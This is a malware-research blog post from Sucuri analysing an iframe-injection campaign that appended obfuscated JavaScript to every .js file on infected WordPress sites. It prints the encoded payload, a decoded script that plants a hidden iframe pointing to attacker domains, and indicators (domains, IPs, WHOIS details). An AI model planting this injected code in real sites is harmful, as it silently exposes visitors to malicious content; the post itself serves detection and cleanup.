

# Massive Admedia/Adverting iFrame Infection

By [Denis Sinegubko](#) on February 1, 2016 . • [31 Comments](#)

SUCURI



## MASSIVE INFECTION ADMEDIA/ADVERTING IFRAME JAVASCRIPT

This past weekend we registered a spike in WordPress infections where hackers injected encrypted code at the end of **all legitimate .js files**.

```
/*e8def60c62ec31519121bfdb43fa078f*/;window["\x64\x6f"+" \x63\x75"+" \x6d\x65"+" \x6e\x74"] ["\x73
x66"]=["\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x29\x7b\x76\x61\x72\x20\x6e\x7a\x74\x6b\x6f
\x3b\x76\x61\x72\x20\x68\x79\x73\x6e\x62\x3d\x22\x37\x37\x36\x39\x36\x65\x36\x34\x36\x66\x6f
\x36\x66\x36\x65\x36\x63\x36\x66\x36\x31\x36\x34\x32\x30\x33\x64\x32\x30\x36\x36\x37\x35\x6f
\x37\x34\x36\x39\x36\x66\x36\x65\x32\x38\x32\x39\x37\x62\x36\x36\x37\x35\x36\x65\x36\x33\x6f
\x36\x66\x36\x65\x32\x30\x37\x38\x33\x32\x33\x32\x36\x32\x37\x31\x32\x38\x36\x31\x32\x63\x64
", "\x2e\x73\x75\x62\x73\x74\x72\x69\x6e\x67\x28\x73\x79\x79\x61\x72\x2c\x73\x79\x79\x61\x72
x2c\x20\x31\x36\x29\x2b\x22\x2c\x22\x3b\x7d\x6e\x7a\x74\x6b\x66\x3d\x6e\x7a\x74\x6b\x66\x2e
x73\x74\x72\x69\x6e\x67\x28\x30\x2c\x6e\x7a\x74\x6b\x66\x2e\x6c\x65\x6e\x67\x74\x68\x2d\x3f
x76\x61\x6c\x28\x65\x76\x61\x6c\x28\x27\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x6f
x6f\x64\x65\x28\x27\x2b\x6e\x7a\x74\x6b\x66\x2b\x27\x29\x27\x29\x3b\x7d\x29\x28\x29\x3f
x36\x32\x36\x66\x36\x34\x37\x39\x32\x65\x36\x31\x37\x30\x37\x30\x36\x35\x36\x65\x36\x34\x34
x36\x39\x36\x63\x36\x34\x32\x38\x37\x38\x33\x32\x33\x32\x36\x34\x37\x31\x32\x39\x33\x62\x63
x22\x3b\x66\x6f\x72\x20\x28\x76\x61\x72\x20\x73\x79\x79\x61\x72\x3d\x30\x3b\x73\x79\x79\x6f
x79\x73\x6e\x62", ... .. removed a big chunk of code here ... .. "\x61\x33
", "\x36\x63\x36\x35\x36\x36\x37\x34\x33\x61\x32\x64\x33\x39\x33\x39\x33\x39\x33\x39\x37\x30
x62\x32\x37\x33\x65\x33\x63\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x32\x30\x37\x33
x33\x33\x64\x32\x37\x32\x32\x32\x62\x37\x38\x33\x32\x33\x32\x37\x31\x37\x31\x32\x62\x32\x3f
x65\x33\x63\x32\x66\x36\x39\x36\x36\x37\x32\x36\x31\x36\x64\x36\x35\x33\x65\x33\x63\x32\x6f
x39\x37\x36\x33\x65\x32\x32\x33\x62\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x6f
x35\x62\x35\x65\x33\x62\x35\x64\x32\x39\x37\x62\x33\x31\x32\x63\x37\x64\x32\x37\x32\x39\x33
x36\x31\x37\x32\x32\x30\x36\x33\x32\x30\x33\x64\x32\x30\x36\x32\x32\x65\x36\x35\x37\x38\x3f
x32\x38\x36\x34\x36\x66\x36\x33\x37\x35\x36\x64\x36\x35\x36\x65\x37\x34\x32\x65\x36\x33\x3f
x36\x62\x36\x39\x36\x35\x32\x39\x33\x62\x36\x39\x36\x36\x32\x38\x36\x33\x32\x39\x32\x30\x3f
x33\x64\x32\x30\x36\x33\x35\x62\x33\x30\x35\x64\x32\x65\x37\x33\x37\x30\x36\x63\x36\x39\x3f
ahrfe=rykkd=hkebi=window["\x64\x6f"+" \x63\x75"+" \x6d\x65"+" \x6e\x74"] ["\x73\x79\x62\x69\x6f
window;eval(eval(["\x72\x79\x6b\x6b\x64"]) ["\x30"], kyehe["\x68\x6b\x65\x62\x69\x6f
kyehe["\x61\x68\x72\x66\x65"]) ["\x31\x31"], kyehe["rykkd"]) ["\x31\x30"], kyehe["\x72\x
x64"]) ["\x31\x33"], kyehe["hkebi"]) ["\x39"], kyehe["\x72\x79\x6b\x6b\x64"]) ["\x33"],
") ["\x38"], kyehe["\x68\x6b\x65\x62\x69"]) ["\x34"], kyehe["hkebi"]) ["\x35"], kyehe["\
x37"], kyehe["rykkd"]) ["\x31\x32"], kyehe["ahrfe"]) ["\x32"], kyehe["\x61\x68\x72\x66\x
"]].join("\");");/*e8def60c62ec31519121bfdb43fa078f*/
```

Encrypted admedia code (shortened version).

The distinguishing features of this malware are:

1. 32 hex digit comments at the beginning and end of the malicious code.  
E.g. **/\*e8def60c62ec31519121bfdb43fa078f\*/** This comment is unique on every infected site. Most likely an MD5 hash based on the domain name.
2. The first comment is immediately followed by **;window["\x64\x6f....** and a long array of string constants in their hexadecimal representation.
3. It always ends with **“.join("\");”);“**

The encrypted part mutates from site to site, but once decrypted it always looks like this:

```

window.onload = function() {
  function x22bq(a, b, c) {
    if (c) {
      var d = new Date();
      d.setDate(d.getDate() + c);
    }
    if (a && b) document.cookie = a + '=' + b + (c ? '; expires=' + d.toUTCString() : '');
    else return false;
  }
  function x33bq(a) {
    var b = new RegExp(a + '=[^;)]{1,}');
    var c = b.exec(document.cookie);
    if (c) c = c[0].split('=');
    else return false;
    return c[1] ? c[1] : false;
  }
  var x33dq = x33bq("ad-cookie");
  if (x33dq != "er2vdr5gdc3ds") {
    x22bq("ad-cookie", "er2vdr5gdc3ds", 1);
    var x22dq = document.createElement("div");
    var x22qq =
      |"http://get.malenkiuniger.net/admedia/?id=8695834&keyword=8580b2135c1fdc0c650156eb174b4
x22dq.innerHTML =
      "<div style='position:absolute;z-index:1000;top:-1000px;left:-9999px;'>
      <iframe src='" + x22qq + "'></iframe></div>";
    document.body.appendChild(x22dq);
  }
}

```

Decoded admedia script

This malware only infects first time visitors, it sets the **ad-cookie** cookie (**er2vdr5gdc3ds**) that expires in **24** hours and injects an invisible iframe.

## IFrame URL – Admedia / Advertizing

The URL of the iFrames is the only changing part of the code.

- hxxp://**template**.poln1uewt1aniwki[.]ws/**admedia**?  
id=8695834&keyword=85c86e3646fb1b15c0bc0647c257c029&ad\_id=**Twinue123**
- hxxp://**js**.polnue2wtani2wki[.]ws/**admedia**?  
id=8695834&keyword=396f3d9d490aed315d71b60ec1efda53&ad\_id=**Twinue123**
- hxxp://**get**.malenkiuniger[.]net/**admedia**?  
id=8695834&keyword=8580b2135c1fdc0c650156eb174b4985&ad\_id=**Twinue123**
- hxxp://**track**.findyourwaytotr[.]net/**admedia**?  
id=8695834&keyword=46731f99a65ceac12e0632d08e551ca5&ad\_id=**Twinue123**
- hxxp://**img**.oduvanchiksawa[.]biz/**advertizing**?  
id=5345896&keyword=fd2f2243cd2046d674aeec495cd2e74b&uyijo=**86tyh978**

It's easy to spot a pattern in these URLs:

- Third level domains
- **Admedia** or **advertizing** in the path part of the URLs (so we called this malware

“*admedia iframe injection*”)

- › The same structure of URL parameter, including **ad\_id** which is always the same – **Twiu123**.

## Malicious Domains

The use of the third level domains is typical for “domain shadowing.” This involves adding malicious subdomains on legitimate second level domains after gaining access to DNS records. In this case we deal with a domain registered specifically for this attack.

WHOIS records show that they all had been registered by **Vasunya** at **valera.valera-146 @ yandex.ru** within the last two months:

- › **poln1uewt1aniwki[.]ws** – created on Dec 22, 2015
- › **findyourwaytotr[.]net** – created on Jan 8, 2016
- › **oduvanchiksawa[.]biz** – created on Feb 1, 2016

**malenkiuniger[.]net** – created on Feb 1, 2016

The last one was created Feb 1st, probably to work around blacklisting of the other domains. Nonetheless, Google has already blacklisted it as well: <https://www.google.com/transparencyreport/safebrowsing/diagnostic/?url=malenkiuniger.org>

## Digital Ocean

It is worth mentioning that all the malicious domains and subdomains point to servers to Digital Ocean’s network: **46.101.84.214, 178.62.37.217, 178.62.37.131, 178.62.90.65**

It’s not common to see malware hosted there, so it’s not a surprise to see Google listing only domains related to this attack as examples of known dangerous site on the [AS202109 \(DIGITALOCEAN-ASN-2\)](#) network.

## Previous Version of the Malware

In the screenshot below you can see the **gabosik12345[.]ws** domain that I didn’t mention above. This domain was registered by the same “Vasunya” on December 23, 2015. It was used in the previous incarnation of this attack along with some other domains registered last fall: **trymyfinger[.]website, goroda235[.]pw, suchka46[.]pw**, etc.

Status of:

AS202109 (DIGITALOCEAN-ASN-2)



### Site Safety Details

- ❗ Fewer than 0.5% of websites on AS202109(DIGITALOCEAN-ASN-2) have recently tried to install malware on visitors' computers.
- ❗ Fewer than 0.5% of websites on AS202109(DIGITALOCEAN-ASN-2) have recently been hacked by attackers who want to install malware on visitors' computers.
- ❗ Fewer than 0.5% of websites on AS202109(DIGITALOCEAN-ASN-2) sometimes redirect visitors to dangerous websites that install malware.
- ❗ For example, the following websites on this network have been dangerous over the last 90 days:  
[gabosik12345.ws](#), [malenkiuniger.org](#), and [findyourwaytotr.net](#).

### Testing details

We last updated our information about AS202109(DIGITALOCEAN-ASN-2) on February 14, 2020. Safe Browsing tested 13547 websites from this last 90 days.

SafeBrowsing report for AS202109 (DIGITALOCEAN-ASN-2)

We still **detect** quite a few sites infected with the last fall's malware variation:

<b>Website</b>	<a href="#">mwjs-iframe-injected530?</a>	<a href="#">http://&lt;redacted&gt;.com/wp-content/plugins/yith-woocommerce-ajax-search/assets/js/yith-autocomplete.min.js?ver=e35e5b92f6db6ca287b324678fa89a76 ( \</a>
<b>Malware</b>	<a href="#">web.js.malware.pwframe.001</a>	<a href="#">Payload</a> )

```
Known javascript malware. Details: http://labs.sucuri.net/db/malware/mwjs-iframe-injected530?web.js.malware.pwframe.001
var _0xf19b=["\x6F\x6E\x6C\x6F\x61\x64","\x67\x65\x74\x44\x61\x74\x65","\x73\x65\x74\x61\x74\x65","\x63\x6F\x6F\x6B\x69\x65","\x3D","\x3B\x20\x65\x78\x70\x69\x72\x65\x64","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","","\x3D\x28\x5B\x5E\x3B\x5D\x29
```

SiteCheck reports malware in a .js file

It also injected similar JavaScript code at the bottom of .js files and also used the **ad-cookie="er2vdr5gdc3ds"** cookie, but the iframe URLs were slightly different, e.g. [hxxp://static.suchka46\[.\]pw/?id=6947627&keyword=557334&ad\\_id=Xn5be4](#) .

# Constant Reinfections

This malware uploads multiple backdoors into various locations on the webserver and frequently updates the injected code. This is why many webmasters are experiencing constant reinfections post-cleanup of their **.js** files.

The malware tries to infect all accessible .js files. This means that if you host several domains on the same hosting account all of them will be infected via a concept known as cross-site contamination. It's not enough to clean just one site (e.g. the one you care about) or all but one (e.g. you don't care about a test or backup site) in such situations – an abandoned site will be the [source of the reinfection](#). In other words, you either need to isolate every sites or clean/update/protect all of them at the same time!

filed under: [website security](#), [wordpress security](#) • tagged with: [iframe](#), [javascript](#), [digitalocean](#), [encoded](#), [admedia](#), [adverting](#)



## About Denis Sinegubko

Denis is the founder of Unmask Parasites and a Senior Malware Researcher at Sucuri. Follow him on [Twitter](#) at [@unmaskparasites](#).

## Blog Search

 

We love to socialize, let's connect..



## Join 20,000 Subscribers!!

\* indicates required

Email Address

First Name

[Subscribe](#)

## Website AntiVirus + Website Firewall

Our 2-in-1 solution gives  
your website complete  
end-to-end security

[Get Started!](#)

### Categories

[Ask Sucuri](#)

[ddos](#)

[Drupal](#)

[Ecommerce Security](#)

[godaddy](#)

[htaccess](#)

[Joomla! Security](#)

[Learn](#)

[Linux Server](#)

[Magento Security](#)

[malware\\_updates](#)

[Modx Security](#)

[OpenX Security](#)

osCommerce Security

ossec

Other CMS Security

PCI DSS

pharma

Presentation

Product Update

Ruby on Rails Security

SEO Spam

Server Security

SiteCheck

sucuri

Uncategorized

vBulletin Security

vulnerability

Vulnerability Disclosure

Webserver Infections

Website Attacks

Website Auditing

Website Backdoor

Website Backup

Website Blacklist

Website Defacement

Website Firewall

Website Hacked

Website Infection[s]



[Website Malware](#)

[Website Security](#)

[Website Spam](#)

[woocommerce](#)

[WordPress Security](#)

[WordPress Security Plugin](#)

[Zencart Security](#)

People are Talking:

[Mohammad Javed on Fake SUPEE-5344 Patch Steals Payment Details](#)

[disciple2819 on The Hidden Backdoors to the City of Cron](#)

[Rafael Corrêa Gomes !\[\]\(cf531ed27e91483460120fcc057b3901\_img.jpg\) on Fake SUPEE-5344 Patch Steals Payment Details](#)

[William LA on Massive Admedia/Adverting iFrame Infection](#)

[Todd on Malicious Google Analytics Referral Spam](#)

[Peter Kulcsár on Massive Admedia/Adverting iFrame Infection](#)

[Piet on Malicious Google Analytics Referral Spam](#)

[Namit Mhatre on Massive Admedia/Adverting iFrame Infection](#)

[Todd on Malicious Google Analytics Referral Spam](#)

[Piet on Malicious Google Analytics Referral Spam](#)

## Recent Posts

[Fake SUPEE-5344 Patch Steals Payment Details](#)

[Seo-moz.com SEO Spam Campaign](#)

[Magento PCI Compliance Issues and Theft Over TLS](#)

[Server Security: Import WordPress Events to OSSEC](#)

[Massive Admedia/Adverting iFrame Infection](#)

---

[The Risks of Hiring a Bad SEO Company](#)

---

[Security Advisory: Stored XSS in Magento](#)

---

## Tags

[apache](#) [Ask Sucuri](#) [awareness](#) [backdoor](#) [best practices](#) [brute force](#) [cloudproxy](#) [conditional](#) [ddos](#) [drive-by-download](#) [godaddy](#) [google](#) [htaccess](#) [iframe](#) [iis](#) [JavaScript](#) [Joomla!](#) [Security](#) [linux](#) [malvertising](#)

[malware\\_updates](#) [osCommerce](#) [Security](#) [passwords](#) [pharma](#) [phishing](#) [php](#) [redirect](#) [research](#)

[scan](#) [seo](#) [sucuri](#) [updates](#) [vBulletin](#) [Security](#) [vulnerability](#) [waf](#) [Website](#) [Backdoor](#) [Website](#)

[Blacklist](#) [Website](#) [Blacklist 2](#) [Website Hacked](#) [Website Malware](#)

[Website Security](#) [Website Spam](#) [wordpress](#) [WordPress Security](#)

[WordPress Security Plugin](#) [xss](#)

## Bookmarks

[Has Google Blacklisted Your Website?](#)

---

[Is your website infected? Hacked?](#)

---

[Learn more about WordPress Security?](#)

---

[Monitor WordPress for Security Issues?](#)

---

[Need more info on PCI Compliance?](#)

---

[Website under a DDoS Attack?](#)

---

[Worried about Software Vulnerabilities?](#)

---